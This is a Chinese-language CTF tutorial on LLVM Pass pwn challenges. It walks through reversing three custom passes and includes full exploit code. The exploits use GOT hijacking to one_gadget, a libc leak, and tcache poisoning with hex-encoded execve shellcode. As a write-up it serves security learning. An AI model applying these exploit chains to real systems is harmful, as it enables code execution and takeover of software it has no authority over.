一、基本流程
进行基于LLVM Pass的漏洞挖掘(PWN)通常遵循以下核心步骤:
① 定位Pass注册与关键函数:首先需要找到 runOnFunction 函数的重写入口。该函数通常位于函数表底部。Pass的注册名称可能在README文件中给出;若无,可以通过对 __cxa_atexit 函数进行交叉引用来定位注册点。
② 逆向分析与Exp框架编写:通过逆向工程,分析Pass的逻辑,确定其处理的函数名、参数及行为,并据此编写基本的利用程序(exp)框架。
③ 漏洞发现与利用开发:在分析出的逻辑中寻找安全漏洞,并编写完整的攻击利用exp。请注意:PWN的目标是 opt 这个LLVM优化器可执行文件,因此查看保护机制(checksec)和寻找gadget都应在 opt 文件中进行。
④ 生成LLVM IR文件:将利用代码编译成LLVM中间表示(IR)文件。
⑤ 驱动漏洞:将生成的 .ll 文件输入到加载了目标Pass的LLVM优化器中,触发漏洞。
二、关键命令
使用以下命令可以将C语言利用代码编译为LLVM IR文件(.ll格式):
clang -emit-llvm -S exp.c -o exp.ll
最后,使用以下命令将IR文件加载到LLVM优化器中执行目标Pass。如果想保存输出结果,可以使用重定向 > [文件名]:
opt -load ./LLVMFirst.so -hello ./exp.ll
三、实战例题分析
1. 202Redhat - simpleVM
① 定位重写函数
通过逆向,我们定位到Pass的处理逻辑入口。

② 逆向分析与编写基本Exp
分析发现,该Pass会寻找一个名为 o0o0o0o0 的函数进行处理。

若函数名匹配,则继续执行 sub_6AC0 函数。

该函数会循环遍历目标函数的每一个基本块(Basic Block)。在更内层的循环中,它遍历基本块内的每一条指令,并筛选出操作码(Opcode)为55的指令,即函数调用指令。

对于每个函数调用,通过 getCalledFunction 获取被调用的函数本身,然后取得函数名。

接下来,Pass会根据不同的函数名模拟一个简易虚拟机的操作:
- pop:
getNumOperands 返回值为2(包含函数名本身和一个参数)。参数为1或2,对应两个寄存器,执行弹栈操作(栈从低地址向高地址生长)。
- push: 一个参数(1或2),模拟压栈操作。

- store: 一个参数(1或2)。功能是将reg1中存储的地址指向的内存单元的值,设置为reg2中的值。

- load: 一个参数(1或2)。功能是将reg2的值,设置为reg1中存储的地址所指向的内存单元的值。

- add: 两个参数。第一个是寄存器编号(1或2),第二个是加数。使指定寄存器中的值加上该数值。

- min: 两个参数。第一个是寄存器编号(1或2),第二个是减数。使指定寄存器中的值减去该数值。

根据以上分析,我们可以写出基本exp框架,定义这些空函数以通过Pass的检查:
void o0o0o0o0();
void pop(int reg){};
void push(int reg){};
void store(int reg){};
void load(int reg){};
void add(int reg,int num){};
void min(int reg,int num){};
void o0o0o0o0(){
};
③ 漏洞发现与利用Exp编写
分析指令功能后,发现 store(1) 可以实现任意地址写,load(1) 可以实现任意地址读,add/min 可以修改寄存器中的值。
查看目标 opt 文件的保护机制:

程序未开启PIE,地址固定。攻击思路如下:寄存器初始为0。
- 使用
add 将reg1改为 free 函数的GOT表地址。
- 使用
load(1) 将 free@got 中的值(即libc中的free地址)读入reg2。
- 使用
add 或 min 对reg2中的地址进行计算,将其修改为 one_gadget 地址。
- 使用
store(1) 将reg2的值写回 free@got,完成GOT表劫持。
对应的利用操作序列为:
add(1, free.got)
load(1)
add(2, ogg - free) // ogg为one_gadget地址
store(1)
GDB调试技巧:
gdb opt-8
set args -load ./VMPass.so -VMPass ./exp.ll
b main
b *0x4bb7e3 // 在关键调用处下断点
当调试到 llvm::LegacyPassManager::run 时,so文件已加载完毕。

后续下断点跟进即可验证利用是否成功。在实际测试中,需注意libc版本差异可能导致 one_gadget 失效。
首先定位到Pass的注册名称为 SAPass。

该Pass会处理名为 B4ckDo0r 的函数。

函数内部定义了以下几个关键操作:
- save(char a, char b): 接受两个参数。申请一个0x20大小的堆块,并将两个参数的内容存入该堆块。


- stealkey(): 无参数。将之前
save 申请的堆块中的第一个8字节(即第一个参数的内容)赋值给全局变量 byte_204100。

- fakekey(int a): 一个参数。将参数
a 与全局变量 byte_204100 相加,并将结果存回堆块的前8字节。


- run(): 无参数。将堆块的前8字节作为函数指针进行调用。

基本exp框架如下:
void save(char *a,char *b);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r(){
}
漏洞利用思路:
save 会malloc 0x20的chunk。调试发现,第一次 save 后,tcache中无合适chunk;第二次 save 会从small bins中分配,该chunk会包含libc地址残留。通过 stealkey 可将此libc指针泄露到全局变量,再用 fakekey 对此指针进行偏移调整,将其改为 one_gadget 地址,最后执行 run() 即可getshell。
完整利用exp:
void save(char *a,char *b);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r(){
save("aaaa","bbbb"); // 第一次分配,清空tcache
save("", "b"); // 第二次分配,从small bin获取,带有libc残留指针
stealkey(); // 泄露libc指针到byte_204100
fakekey(-0x1090f2); // 计算偏移,调整为one_gadget地址(偏移值需根据本地libc计算)
run(); // 触发
}
3. CISCN2023 - llvmHELLO
Pass注册名称为 Hello。

该Pass处理名为 hello 的函数,并提供了以下“指令”:
- Add(int size): 一个参数。根据指定大小申请一个堆块。

- Del(int idx): 一个参数。释放指定索引的堆块,无UAF漏洞。

- Edit(int idx, int data_idx, int data): 三个参数。向第
idx 个堆块的第 data_idx 个四字节位置写入4字节数据 data。此处存在堆溢出漏洞,因为未检查 data_idx 的范围。

- Alloc(): 无参数。通过
mmap 在固定地址 0x10000 分配一页(0x1000字节)可读可写可执行的内存。

- EditAlloc(int idx, int idx_alloc): 两个参数。将第
idx 个堆块的前4字节内容,写入 0x10000 + idx_alloc 地址处。

基本exp框架:
void Add(int size);
void Del(int idx);
void Edit(int idx,int data_idx,int data);
void Alloc();
void EditAlloc(int idx,int addr);
void hello(){
}
漏洞利用思路:
- 利用
Edit 的堆溢出漏洞,修改tcache bin中chunk的fd指针。
- 执行一次
Alloc(),在 0x10000 处获得RWX内存区域。
- 利用
Edit 和 EditAlloc 将shellcode写入 0x10000。
- 利用tcache poisoning将
free 函数的GOT表项修改为 0x10000。
- 调用
Del 触发 free,实际执行shellcode。由于 opt 文件未开启PIE,地址已知。
最终利用exp:
void Add(int size);
void Del(int idx);
void Edit(int idx,int data_idx,int data);
void Alloc();
void EditAlloc(int idx,int addr);
void hello(){
Add(0xa0);
Add(0x78); // chunk 1
Edit(1,0,0xdeadbeef);
Add(0x78); // chunk 2
Edit(2,0,0xdeadbeef);
Add(0x78); // chunk 3
Edit(3,0,0xdeadbeef);
Del(1); // 释放到tcache
Del(3); // 再次释放,形成tcache链
// 通过溢出修改chunk 2的fd指针,指向free.got附近的可控地址(例如.bss段)
Edit(2, 32, 0x78b108);
Alloc(); // 映射RWX内存到0x10000
// 分段写入shellcode到0x10000
Edit(0,0,0x56f63148);
EditAlloc(0,0);
Edit(0,0,0x622fbf48);
EditAlloc(0,4);
Edit(0,0,0x2f2f6e69);
EditAlloc(0,8);
Edit(0,0,0x54576873);
EditAlloc(0,12);
Edit(0,0,0x583b6a5f);
EditAlloc(0,16);
Edit(0,0,0x00050f99);
EditAlloc(0,20);
// tcache attack:将free.got覆写为0x10000
Add(0x78); // 取出chunk 1
Add(0x78); // 取出chunk 3,此时下一个从tcache取出的将是我们的伪造指针
Edit(3,0,0x10000); // 假设此时取出的chunk在.bss,我们将其内容改为shellcode地址
Edit(3,1,0);
Del(1); // 调用free,实际跳转到0x10000执行shellcode
}
通过以上三个由浅入深的CTF例题,我们展示了从逆向工程分析LLVM Pass逻辑,到发现漏洞并构造利用链的完整过程。掌握这些技巧,有助于在更复杂的编译器安全与软件安全研究中深入探索。更多底层原理与安全技术交流,欢迎访问云栈社区。